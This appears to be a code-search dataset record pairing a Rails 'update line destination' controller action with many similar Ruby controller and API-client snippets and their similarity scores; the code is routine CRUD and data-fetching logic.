"def create\n @location = Location.new(\n name: location_params[:name],\n address_line_1: location_params[:lineOne],\n address_line_2: location_params[:lineTwo],\n lat: location_params[:lat],\n lng: location_params[:lng]\n )\n if @location.save\n render json: @location\n else\n render json: {message: 'creation failed'}\n end\n end",
"def update\n @destination.update(destination_params)\n set_destinations\n end",
"def get_destinations_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataExportDestinationsApi.get_destinations ...'\n end\n # resource path\n local_var_path = '/destinations'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Destinations')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataExportDestinationsApi#get_destinations\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @trip = Trip.new(user_id: params[:user_id], trip_name: params[:trip_name], distance: params[:distance], walked_at: Time.now)\n @origin = Place.new(user_id: params[:user_id], place_name: params[:origin_name], latitude: params[:origin_lat], longitude: params[:origin_long])\n @destination = Place.new(user_id: params[:user_id], place_name: params[:dest_name], latitude: params[:dest_lat], longitude: params[:dest_long])\n if @trip.save && @origin.save && @destination.save\n @origin_point = TripPoint.new(trip_id: @trip.id, place_id: @origin.id, place_type: \"Origin\")\n @destination_point = TripPoint.new(trip_id: @trip.id, place_id: @destination.id, place_type: \"Destination\")\n @origin_point.save\n @destination_point.save\n else\n render :json => {:success => false, :errors => [\"Trip creation failed.\"]}\n end\n end",
"def create\n @bus_line_direction = BusLineDirection.new(bus_line_direction_params)\n\n respond_to do |format|\n if @bus_line_direction.save\n format.html { redirect_to @bus_line_direction, notice: 'Bus line direction was successfully created.' }\n format.json { render :show, status: :created, location: @bus_line_direction }\n else\n format.html { render :new }\n format.json { render json: @bus_line_direction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order_item_line = PurchaseOrderItemLine.new(params[:purchase_order_item_line])\n\n respond_to do |format|\n if @purchase_order_item_line.save\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully created.' }\n format.json { render json: @purchase_order_item_line, status: :created, location: @purchase_order_item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(destination_params)\n geo = Geocoder.coordinates(@destination.name)\n unless geo.nil?\n @destination.lat = geo.first\n @destination.lng = geo.last\n end\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to destinations_path, notice: 'Destination was successfully created.' }\n format.json { render :show, status: :created, location: @destination }\n else\n format.html { render :new }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_station_2 = LineStation2.new(line_station_2_params)\n\n respond_to do |format|\n if @line_station_2.save\n format.html { redirect_to @line_station_2, notice: 'Line station 2 was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_station_2 }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_station_2.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(params[:destination])\n @destination.user = current_user\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to @destination, notice: 'Destination was successfully created.' }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n line_items = params[:delivery].has_key?(:line_items) ? params[:delivery].delete(:line_items) : []\n @delivery = Delivery.new(params[:delivery])\n @delivery.comments.build(params[:comment]) if params[:comment] && !params[:comment][:body].blank?\n line_items.each{ |l| @delivery.line_items.build(l) } unless line_items.empty?\n if @delivery.save\n flash[:notice] = \"Successfully created delivery.\"\n if @delivery.print_after_save\n redirect_to delivery_path(@delivery, :format => :pdf)\n else\n redirect_to @delivery\n end\n else\n render :action => 'new'\n end\n end",
"def post_destination_with_http_info(project_key, environment_key, destination_body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DataExportDestinationsApi.post_destination ...'\n end\n # verify the required parameter 'project_key' is set\n if @api_client.config.client_side_validation && project_key.nil?\n fail ArgumentError, \"Missing the required parameter 'project_key' when calling DataExportDestinationsApi.post_destination\"\n end\n # verify the required parameter 'environment_key' is set\n if @api_client.config.client_side_validation && environment_key.nil?\n fail ArgumentError, \"Missing the required parameter 'environment_key' when calling DataExportDestinationsApi.post_destination\"\n end\n # verify the required parameter 'destination_body' is set\n if @api_client.config.client_side_validation && destination_body.nil?\n fail ArgumentError, \"Missing the required parameter 'destination_body' when calling DataExportDestinationsApi.post_destination\"\n end\n # resource path\n local_var_path = '/destinations/{projectKey}/{environmentKey}'.sub('{' + 'projectKey' + '}', project_key.to_s).sub('{' + 'environmentKey' + '}', environment_key.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(destination_body)\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Destination')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DataExportDestinationsApi#post_destination\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_flight_destinations\n @flights = Flight.all.map(&:destination)\n end",
"def create\n @phone_line = PhoneLine.new(phone_line_params)\n\n respond_to do |format|\n if @phone_line.save\n format.html { redirect_to phone_lines_url, notice: 'Phone line was successfully created.' }\n format.json { render :show, status: :created, location: @phone_line }\n else\n format.html { render :new }\n format.json { render json: @phone_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def linehaul_params\n params.require(:linehaul).permit(:route)\n end",
"def create\n @translated_line = TranslatedLine.new(translated_line_params)\n\n respond_to do |format|\n if @translated_line.save\n @translated_lines = TranslatedLine.where(translation_code: @translated_line.translation_code)\n format.html { redirect_to @translated_line, notice: 'Translated line was successfully created.' }\n format.js {}\n format.json { render :show, status: :created, location: @translated_line }\n else\n format.html { render :new }\n format.js {}\n format.json { render json: @translated_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n attrs = whitelist(params, :create).merge customer: current_user.becomes(Users::Customer)\n dattrs = attrs.delete(:destinations_attributes)\n\n @travel = Travels::Travel.new(attrs)\n\n dattrs.each_key do |key|\n dattr = dattrs[key]\n iattrs = dattr.delete(:items_attributes)\n\n dest = Travels::Places::Destination.new(dattr)\n\n iattrs.each_key do |key|\n @travel.items.build(iattrs[key]).destination = dest\n end if iattrs\n end\n\n # @travel.customer = current_user.becomes(Users::Customer)\n\n respond_to do |format|\n if @travel.save\n format.html { redirect_to status_travel_path(@travel), notice: \"Gracefully created the travel!\" }\n format.json { render json: @travel, status: :created, location: @travel }\n else\n format.html { redirect_to new_travel_path, alert: \"Failed to create the travel! Errors: #{@travel.errors.full_messages}\" }\n format.json { render json: @travel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n @line.user = current_user\n @line.diagram = @diagram\n @line.node = @node\n\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully created.' }\n format.json { render :show, status: :created, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :new }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @donation_line = DonationLine.new(params[:donation_line])\n\n respond_to do |format|\n if @donation_line.save\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully created.' }\n format.json { render json: @donation_line, status: :created, location: @donation_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destination_params\n params.require(:destination).permit(\n :name,\n :phone,\n :sequence\n )\n end",
"def create\n @destination_linkset = DestinationLinkset.new(destination_linkset_params)\n\n respond_to do |format|\n if @destination_linkset.save\n format.html { redirect_to @destination_linkset, notice: 'Destination linkset was successfully created.' }\n format.json { render :show, status: :created, location: @destination_linkset }\n else\n format.html { render :new }\n format.json { render json: @destination_linkset.errors, status: :unprocessable_entity }\n end\n end\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def route_params\n params.require(:route).permit(:origin_id, :destination_id, :distance)\n end",
"def create\n @dest = Dest.new(dest_params)\n\n respond_to do |format|\n if @dest.save\n format.html { redirect_to dests_path, notice: 'Dest was successfully created.' }\n format.json { render :show, status: :created, location: @dest }\n else\n format.html { render :new }\n format.json { render json: @dest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = Destination.new(params[:destination])\n @destination.update_attributes(:active => \"1\", :is_deleted => \"0\")\n\n @destination.company_id = current_user.company_id\n\n respond_to do |format|\n if @destination.save\n format.html { redirect_to destinations_path, notice: \"El destino #{@destination.name} fue creado exitosamente.\" }\n format.json { render json: @destination, status: :created, location: @destination }\n else\n format.html { render action: \"new\" }\n format.json { render json: @destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @destination = current_user.destinations.new(destination_params)\n if @destination.save\n redirect_to destinations_path, notice: 'Destination was successfully created.'\n else\n render :new\n end\n end",
"def create\n @invent_journal_line = InventJournalLine.new(params[:invent_journal_line])\n\n respond_to do |format|\n if @invent_journal_line.save\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully created.' }\n format.json { render json: @invent_journal_line, status: :created, location: @invent_journal_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @subscriber = Subscriber.find(session[:subscriber_id])\n @shipping_address = @subscriber.shipping_addresses.new(params[:shipping_address])\n @shipping_address.region = Region.find_by_id(params[:district])\n\n respond_to do |format|\n if @shipping_address.save\n format.html { redirect_to @shipping_address, notice: 'Shipping address was successfully created.' }\n format.json { render json: @shipping_address, status: :created, location: @shipping_address }\n else\n format.html { render action: \"new\" }\n format.json { render json: @shipping_address.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n parent_line_item = get_parent_line_item\n if parent_line_item\n @line_item = parent_line_item.dup\n @line_item.line_item = parent_line_item\n @line_item.searchable = false\n @line_item.admin_verified = false\n @line_item.section_id = line_item_params[\"section_id\"]\n else\n @line_item = LineItem.new(line_item_params);\n end\n\n if @line_item.save\n render json: @line_item, status: :created, location: @line_item\n else\n render nothing: true, status: :bad_request\n end\n end",
"def create\n @applied_line = AppliedLine.new(applied_line_params)\n\n respond_to do |format|\n if @applied_line.save\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully created.' }\n format.json { render :show, status: :created, location: @applied_line }\n else\n format.html { render :new }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cruise_line = CruiseLine.new(cruise_line_params)\n\n respond_to do |format|\n if @cruise_line.save\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully created.' }\n format.json { render :show, status: :created, location: @cruise_line }\n else\n format.html { render :new }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @flightline = Flightline.new(params[:flightline])\n\n respond_to do |format|\n if @flightline.save\n format.html { redirect_to(@flightline, :notice => 'Flightline was successfully created.') }\n format.xml { render :xml => @flightline, :status => :created, :location => @flightline }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @flightline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def trip_params\n params.require(:trip).permit(:origin =>[:address, :latitude, :longitude], :destination => [:address])\n end",
"def create\n @batting_line = BattingLine.new(params[:batting_line])\n\n respond_to do |format|\n if @batting_line.save\n format.html { redirect_to @batting_line, notice: 'Batting line was successfully created.' }\n format.json { render json: @batting_line, status: :created, location: @batting_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @batting_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destinations\n @destinations ||= []\n end",
"def flight_route_params\n params.require(:flight_route).permit(:origin, :destination, :food)\n end",
"def create\n @time_line = TimeLine.new(time_line_params)\n\n respond_to do |format|\n if @time_line.save\n format.html { redirect_to @time_line, notice: 'Time line was successfully created.' }\n format.json { render :show, status: :created, location: @time_line }\n else\n format.html { render :new }\n format.json { render json: @time_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @product_line = ProductLine.new(params[:product_line])\n\n respond_to do |format|\n if @product_line.save\n format.html { redirect_to @product_line, notice: 'Product line was successfully created.' }\n format.json { render json: @product_line, status: :created, location: @product_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destination_params\n params.require(:destination).permit(:name, :arrived_on, :left_on, :lng, :lat, :visited)\n end",
"def line_params\n params.require(:line).permit(:user_id, :verb_id, :start_time, \n :note, :object, :people, :photo, :place, :price, :url)\n end",
"def index\n @destination = Destination.new\n set_destinations\n end",
"def create\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.create(params[:credit_line])\n #@credit_line.admin=@admin.id\n respond_to do |format|\n if @credit_line.save\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully created.' }\n format.json { render json: @credit_line, status: :created, location: @credit_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def new\n @destination = @organism.destinations.new\n @destination.sector_id = @organism.sectors.first.id\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @destination }\n end\n end",
"def directions(origin, destination)\n directions = []\n\n request = Addressable::URI.new(\n :scheme => \"https\",\n :host => \"maps.googleapis.com\",\n :path => \"maps/api/directions/json\",\n :query_values => {\n :origin => origin.join(','),\n :destination => destination.join(','),\n :sensor => \"false\",\n :mode => \"walking\"\n }\n )\n\n response = RestClient.get(request.to_s)\n\n parsed_response = JSON.parse(response)\n\n parsed_response[\"routes\"][0][\"legs\"][0][\"steps\"].each do |step|\n parsed_html = Nokogiri::HTML(step[\"html_instructions\"])\n directions << parsed_html.text\n end\n\n directions\nend",
"def create\n @proxy_source = ProxySource.new(params[:proxy_source])\n\n respond_to do |format|\n if @proxy_source.save\n format.html { redirect_to @proxy_source, notice: 'Proxy source was successfully created.' }\n format.json { render json: @proxy_source, status: :created, location: @proxy_source }\n else\n format.html { render action: \"new\" }\n format.json { render json: @proxy_source.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_adjustment_line = InvoiceAdjustmentLine.new(params[:invoice_adjustment_line])\n\n respond_to do |format|\n if @invoice_adjustment_line.save\n flash[:notice] = 'InvoiceAdjustmentLine was successfully created.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { render :xml => @invoice_adjustment_line, :status => :created, :location => @invoice_adjustment_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @consultant_customer_destination = ConsultantCustomerDestination.new(consultant_customer_destination_params)\n\n respond_to do |format|\n if @consultant_customer_destination.save\n format.html { redirect_to @consultant_customer_destination, notice: 'Consultant customer destination was successfully created.' }\n format.json { render action: 'show', status: :created, location: @consultant_customer_destination }\n else\n format.html { render action: 'new' }\n format.json { render json: @consultant_customer_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_distination(destinations, distance)\n @destination[destinations] = distance\n end",
"def create_route(itinerary)\n locations = []\n # puts itinerary\n itinerary.each do |item|\n if item[:error] == nil\n locations << item[:route_coords]\n end\n end\n get_route(locations)\nend",
"def generate_route_shapes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routeShapes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tjson = nil\n\t\t\twhile json.nil?\n\t\t\t\tresponse2 = HTTParty.get('http://citppuc.cloudapp.net/api/lineas/'+item[\"linea_id\"].to_s)\n\t\t\t\tnext if response2.body == ''\n\t\t\t\tjson = JSON.parse(response2.body)\n\t\t\tend\n\t\t\tif json[\"secuencias\"]\n\t\t\t\tjson[\"secuencias\"].each do |sec|\n\t\t\t\t\tputs \"Agregando secuencia \"+sec[\"codigo_secuencia\"]\n\t\t\t\t\tif sec[\"horarios\"]\n\t\t\t\t\t\tsec[\"horarios\"].each do |h|\n\t\t\t\t\t\t\tdias = ''\n\t\t\t\t\t\t\th[\"dias\"].each do |dia|\n\t\t\t\t\t\t\t\tdias << dia+','\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tcsv << [ item[\"codigo_linea\"], sec[\"codigo_secuencia\"], h[\"hora_inicio\"], h[\"hora_termino\"], dias]\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"No tiene horarios!\"\n\t\t\t\t\tend\n\n\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"No tiene secuencias\"\n\t\t\tend\n\n\t\tend\n\tend\nend",
"def create\n @destination = Destination.new(destination_params)\n if @destination.valid?\n @destination.save\n redirect_to root_path\n else\n render :new, notice: 'Error in processing destination'\n end\n end",
"def create\n @steamshipline = Steamshipline.new(steamshipline_params)\n\n respond_to do |format|\n if @steamshipline.save\n format.html { redirect_to @steamshipline, notice: 'Steamshipline was successfully created.' }\n format.json { render :show, status: :created, location: @steamshipline }\n else\n format.html { render :new }\n format.json { render json: @steamshipline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @transport_line = TransportLine.new(params[:transport_line])\n\n respond_to do |format|\n if @transport_line.save\n flash[:notice] = 'TransportLine was successfully created.'\n format.html { redirect_to(@transport_line) }\n format.xml { render :xml => @transport_line, :status => :created, :location => @transport_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @transport_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @lineaedesal = Lineaedesal.new(params[:lineaedesal])\n\n respond_to do |format|\n if @lineaedesal.save\n format.html { redirect_to(@lineaedesal, :notice => 'Lineaedesal was successfully created.') }\n format.xml { render :xml => @lineaedesal, :status => :created, :location => @lineaedesal }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @lineaedesal.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @search_line = SearchLine.new(search_line_params)\n\n respond_to do |format|\n if @search_line.save\n format.html { redirect_to @search_line, notice: 'Search line was successfully created.' }\n format.json { render :show, status: :created, location: @search_line }\n else\n format.html { render :new }\n format.json { render json: @search_line.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6639006",
"0.6593108",
"0.6301531",
"0.6178634",
"0.59259605",
"0.5810589",
"0.5743956",
"0.57063353",
"0.56617916",
"0.5513739",
"0.5491601",
"0.54840004",
"0.5476672",
"0.54665875",
"0.54665685",
"0.54612404",
"0.5418316",
"0.5400803",
"0.53866494",
"0.53824914",
"0.53807086",
"0.53781086",
"0.536784",
"0.5313392",
"0.5296355",
"0.5294229",
"0.5282193",
"0.52722514",
"0.5266256",
"0.5260897",
"0.52548146",
"0.52460635",
"0.52458525",
"0.523944",
"0.52093947",
"0.5209068",
"0.52012",
"0.51992863",
"0.5196235",
"0.51942426",
"0.5190433",
"0.5187427",
"0.5179588",
"0.51417667",
"0.5140697",
"0.5140116",
"0.5134896",
"0.51279515",
"0.51113975",
"0.5105889",
"0.5105452",
"0.50915635",
"0.50805146",
"0.5078309",
"0.50662184",
"0.5057245",
"0.50520045",
"0.5044247",
"0.50406855",
"0.50394243",
"0.5036926",
"0.5030532",
"0.50290805",
"0.5024093",
"0.50194687",
"0.5017116",
"0.50143814",
"0.5010037",
"0.49986663",
"0.49914294",
"0.49871165",
"0.49826464",
"0.49796554",
"0.49708784",
"0.49695233",
"0.49620527",
"0.49602902",
"0.49566188",
"0.49521053",
"0.49402764",
"0.4939574",
"0.49241498",
"0.49036923",
"0.49028724",
"0.48933196",
"0.4888763",
"0.48766372",
"0.48753703",
"0.4873676",
"0.4868501",
"0.48681787",
"0.48583135",
"0.48560902",
"0.48550814",
"0.48483402",
"0.48454338",
"0.48432767",
"0.48373258",
"0.48315796",
"0.48305237"
] |
0.6773432
|
0
|
PATCH/PUT /line_destinations/1 PATCH/PUT /line_destinations/1.json
|
def update
respond_to do |format|
if @line_destination.update(line_destination_params)
format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }
format.json { render :show, status: :ok, location: @line_destination }
else
format.html { render :edit }
format.json { render json: @line_destination.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @shipping_line = ShippingLine.find(params[:id])\n\n respond_to do |format|\n if @shipping_line.update_attributes(params[:shipping_line])\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @shipping_line.update(shipping_line_params)\n format.html { redirect_to @shipping_line, notice: \"Shipping line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @shipping_line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @shipping_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(line_params)\n format.html { redirect_to new_line_path, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render verb: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to @line, notice: \"Line was successfully updated.\" }\n format.json { render :show, status: :ok, location: @line }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find_by_no(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_detail.update(line_detail_params)\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_line_destination\n @line_destination = LineDestination.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @line_liver.update(line_liver_params)\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_liver }\n else\n format.html { render :edit }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @destination.update(destination_params)\n set_destinations\n end",
"def update\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n if @route_line.update_attributes(params[:route_line])\n format.html { redirect_to(@route_line, :notice => t('record_updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n if @order_line.update_attributes(params[:order_line])\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order_line.update(order_line_params)\n format.html { redirect_to @order_line, notice: 'Order line was successfully updated.' }\n format.json { render :show, status: :ok, location: @order_line }\n else\n format.html { render :edit }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n if @line_item1.update_attributes(params[:line_item1])\n format.html { redirect_to @line_item1, :notice => 'Line item1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item1.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = @order.line_items.find(params[:id])\n\n if @line_item.update(line_item_params)\n head :no_content\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def update\n @line = Line.find(params[:id])\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to(@line, :notice => 'Line was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line.attributes = line_params\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { render :show, status: :ok, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :edit }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n @item_line = ItemLine.find(params[:id])\n\n respond_to do |format|\n if @item_line.update_attributes(params[:item_line])\n format.html { redirect_to @item_line, notice: 'Item line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @destination = Destination.find(params[:id])\n @roadmap = @destination.roadmap\n\n params[:destination][:start_date] = Converters::to_date(params[:destination][:start_date])\n params[:destination][:end_date] = Converters::to_date(params[:destination][:end_date])\n\t\tparams[:destination][:planned_cost] = Converters::currency_to_number(params[:destination][:planned_cost])\n \n if not validate_permission(@roadmap)\n return\n end\n\n respond_to do |format|\n if @destination.update_attributes(params[:destination])\n flash[:notice] = 'O destino foi atualizado com sucesso!'\n format.html { redirect_to(roadmap_path(@destination.roadmap)) }\n format.xml { head :ok }\n else\n load_states_and_cities(@destination)\n @vehicles = Vehicle.all\n @destinations = @roadmap.destinations\n\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @destination.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line = Line.find(params[:id])\n @budget = @line.budget\n\n respond_to do |format|\n if @line.update_attributes(params[:line])\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line.update(line_params)\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, :notice => 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @line_item.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n if @line_item.update_attributes(params[:line_item])\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
